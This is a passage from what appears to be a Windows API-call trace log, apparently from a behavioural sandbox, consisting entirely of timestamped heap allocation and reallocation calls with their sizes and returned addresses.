(Heap=0x5b0000, Flags=0x0, Ptr=0x5ea140, Size=0x8) returned 0x5ea160 [0068.372] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fe038 [0068.372] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5ea160, Size=0x10) returned 0x5fe008 [0068.372] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fb5d0 [0068.372] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fb5e8 [0068.372] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5fe008, Size=0x20) returned 0x5e5988 [0068.372] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fe008 [0068.372] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5ea160 [0068.372] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe) returned 0x5fb600 [0068.373] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe) returned 0x5fb618 [0068.373] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5e5988, Size=0x40) returned 0x5e6b18 [0068.373] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe) returned 0x5fb630 [0068.373] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe) returned 0x5fb648 [0068.373] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe) returned 0x5fb660 [0068.373] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe) returned 0x5fb678 [0068.373] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fb690 [0068.373] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fb6a8 [0068.373] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5ea140 [0068.373] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fb6c0 [0068.373] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5e6b18, Size=0x80) returned 0x60b458 [0068.373] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fb6d8 [0068.373] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fb6f0 [0068.373] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fb708 [0068.373] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fb720 [0068.373] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fb738 [0068.374] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5fb750 [0068.374] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fb768 [0068.374] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5ea1a0 [0068.374] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fb780 [0068.374] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fb798 [0068.374] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5fb7b0 [0068.374] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fb7c8 [0068.374] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5fb7e0 [0068.374] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fb7f8 [0068.374] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5fb810 [0068.374] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fb828 [0068.374] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x60b458, Size=0x100) returned 0x600080 [0068.374] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fb840 [0068.374] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fb858 [0068.374] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fb870 [0068.374] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5fb888 [0068.375] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fb8a0 [0068.375] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fb8b8 [0068.375] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5ea180 [0068.375] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fb8d0 [0068.375] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fb8e8 [0068.375] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fb900 [0068.375] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5ea1b0 [0068.375] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fb918 [0068.375] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fb930 [0068.375] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5ea1c0 [0068.375] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fb948 [0068.375] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fb960 [0068.375] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5fb978 [0068.375] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fb990 [0068.375] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fb9d0 [0068.375] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fb9e8 [0068.375] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe) returned 0x5fba00 [0068.376] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fba18 [0068.376] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5fba30 [0068.376] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fba48 [0068.376] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fba60 [0068.376] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fba78 [0068.376] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fba90 [0068.376] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5ea1d0 [0068.376] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fbaa8 [0068.376] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fbac0 [0068.376] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fbad8 [0068.376] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fbaf0 [0068.376] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x600080, Size=0x200) returned 0x5fbdb8 [0068.376] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fbb08 [0068.376] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5ea1e0 [0068.376] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fbb20 [0068.376] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fbb38 [0068.377] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fbb50 [0068.377] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fbb68 [0068.377] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fbb80 [0068.377] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fbb98 [0068.377] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fbbb0 [0068.377] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fbbc8 [0068.377] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fbbe0 [0068.377] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5fbbf8 [0068.377] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5fbc10 [0068.377] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fbc28 [0068.377] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fbc40 [0068.377] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5fbc58 [0068.377] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5fbc70 [0068.377] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fbc88 [0068.377] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5fbca0 [0068.378] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5fbcb8 [0068.378] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fbcd0 [0068.378] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fbce8 [0068.378] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fbd00 [0068.378] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5ea1f0 [0068.378] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fbd18 [0068.378] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fbd30 [0068.378] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fbd48 [0068.378] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5ea200 [0068.378] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fbd60 [0068.378] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5fbd78 [0068.378] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fbd90 [0068.378] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fbfd8 [0068.378] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fbff0 [0068.378] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc008 [0068.378] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc020 [0068.378] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc038 [0068.379] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5fc050 [0068.379] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5fc068 [0068.379] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc080 [0068.379] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc098 [0068.379] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc0b0 [0068.379] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5fc0c8 [0068.379] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc0e0 [0068.379] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc0f8 [0068.379] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc110 [0068.379] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc128 [0068.379] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc140 [0068.379] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc158 [0068.379] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc170 [0068.379] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5ea210 [0068.379] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5ea220 [0068.379] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc188 [0068.379] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc1a0 [0068.380] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc1b8 [0068.380] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc1d0 [0068.380] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc1e8 [0068.380] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5fc200 [0068.380] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc218 [0068.380] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc230 [0068.380] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc248 [0068.380] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc260 [0068.380] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5fc278 [0068.380] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc290 [0068.380] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc2a8 [0068.380] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5fbdb8, Size=0x400) returned 0x603070 [0068.380] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc2c0 [0068.381] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc2d8 [0068.381] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5fc2f0 [0068.381] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc308 [0068.381] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc320 [0068.381] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc338 [0068.381] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5fc350 [0068.381] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc368 [0068.381] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc380 [0068.381] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc398 [0068.381] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5ea230 [0068.381] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x603490 [0068.381] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x6034a8 [0068.381] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6034c0 [0068.381] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6034d8 [0068.381] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6034f0 [0068.381] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x603508 [0068.382] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe) returned 0x603520 [0068.382] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x603538 [0070.427] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x603628 [0070.427] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x603640 [0070.427] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x603610 [0070.427] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6035c8 [0070.427] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6035e0 [0070.427] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6035f8 [0070.427] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x603598 [0070.427] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5ea250 [0070.427] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6035b0 [0070.427] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x603658 [0070.427] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x603670 [0070.427] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x603688 [0070.427] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6036a0 [0070.428] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6036b8 [0070.428] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6036d0 [0070.428] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6036e8 [0070.428] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x603700 [0070.428] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe) returned 0x603718 [0070.428] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x603730 [0070.428] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe) returned 0x603748 [0070.428] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x603760 [0070.428] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x603778 [0070.428] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x603790 [0070.428] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6037a8 [0070.428] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6037c0 [0070.428] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x6037d8 [0070.428] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6037f0 [0070.428] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x603808 [0070.428] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x603820 [0070.428] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x603838 [0070.429] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x603850 [0070.429] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x604df8 [0070.429] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x604e10 [0070.429] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x604e28 [0070.429] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x604e40 [0070.429] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x604e58 [0070.429] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x604e70 [0070.429] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x604e88 [0070.429] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x604ea0 [0070.429] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x604eb8 [0070.429] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x604ed0 [0070.429] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x604ee8 [0070.429] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x604f00 [0070.429] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x604f18 [0070.429] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x12) returned 0x5e60c8 [0070.429] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x604f30 [0070.429] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x604f48 [0070.430] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x604f60 [0070.430] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x604f78 [0070.430] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x604f90 [0070.430] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x604fa8 [0070.430] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x604fc0 [0070.430] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x604fd8 [0070.430] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x604ff0 [0070.430] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x605008 [0070.430] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x605020 [0070.430] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x605038 [0070.430] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x605050 [0070.430] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x605068 [0070.430] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x605080 [0070.430] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x605098 [0070.431] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6050b0 [0070.431] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6050c8 [0070.431] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6050e0 [0070.431] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6050f8 [0070.431] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x605110 [0070.431] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x605128 [0070.431] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x605140 [0070.431] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe) returned 0x605158 [0070.431] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x605170 [0070.431] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5ea240 [0070.431] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x605188 [0070.431] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5ea260 [0070.431] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6051a0 [0070.431] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6051b8 [0070.431] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6051f8 [0070.431] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x605210 [0070.432] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x605228 [0070.432] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x605240 [0070.432] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x605258 [0070.432] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x605270 [0070.432] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x605288 [0070.432] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x6052a0 [0070.432] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6052b8 [0070.432] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x6052d0 [0070.432] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x6052e8 [0070.432] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x605300 [0070.432] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5ea270 [0070.432] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x605318 [0070.432] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x605330 [0070.432] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x605348 [0070.432] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x605360 [0070.433] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x605378 [0070.433] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x605390 [0070.433] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6053a8 [0070.433] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5ea280 [0070.433] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5ea290 [0070.433] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6053c0 [0070.433] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6053d8 [0070.433] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6053f0 [0070.433] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x605408 [0070.433] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x605420 [0070.433] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x605438 [0070.433] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x605450 [0070.433] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x605468 [0070.433] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x605480 [0070.434] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x605498 [0070.434] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6054b0 [0070.434] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6054c8 [0070.434] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x603070, Size=0x800) returned 0x6055e0 [0070.434] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x6054e0 [0070.434] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6054f8 [0070.434] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) 